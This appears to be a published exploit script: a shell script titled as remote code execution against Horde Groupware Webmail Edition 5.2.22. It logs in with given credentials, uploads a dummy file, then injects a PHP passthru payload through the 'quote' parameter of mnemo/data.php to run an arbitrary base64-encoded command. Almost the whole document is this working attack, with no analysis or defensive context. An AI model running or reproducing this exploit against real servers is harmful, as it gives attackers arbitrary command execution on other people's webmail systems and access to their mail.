Horde Groupware Webmail Edition 5.2.22 – Remote Code Execution
#!/bin/sh if [ "$#" -ne 4 ]; then echo '[!] Usage: <url> <username> <password> <command>' 1>&2 exit 1 fi BASE="$1" USERNAME="$2" PASSWORD="$3" COMMAND="$4" JAR="$(mktemp)" trap 'rm -f "$JAR"' EXIT echo "[+] Logging in as $USERNAME:$PASSWORD" 1>&2 curl -si -c "$JAR" "$BASE/login.php" \ -d 'login_post=1' \ -d "horde_user=$USERNAME" \ -d "horde_pass=$PASSWORD" | grep -q 'Location: /services/portal/' || \ echo '[!] Cannot log in' 1>&2 echo "[+] Uploading dummy file" 1>&2 echo x | curl -si -b "$JAR" "$BASE/mnemo/data.php" \ -F 'actionID=11' \ -F 'import_step=1' \ -F 'import_format=csv' \ -F 'notepad_target=x' \ -F 'import_file=@-;filename=x' \ -so /dev/null echo "[+] Running command" 1>&2 BASE64_COMMAND="$(echo -n "$COMMAND 2>&1" | base64 -w0)" curl -b "$JAR" "$BASE/mnemo/data.php" \ -d 'actionID=3' \ -d 'import_step=2' \ -d 'import_format=csv' \ -d 'header=1' \ -d 'fields=1' \ -d 'sep=x' \ --data-urlencode "quote=).passthru(base64_decode(\"$BASE64_COMMAND\")).die();}//\\" |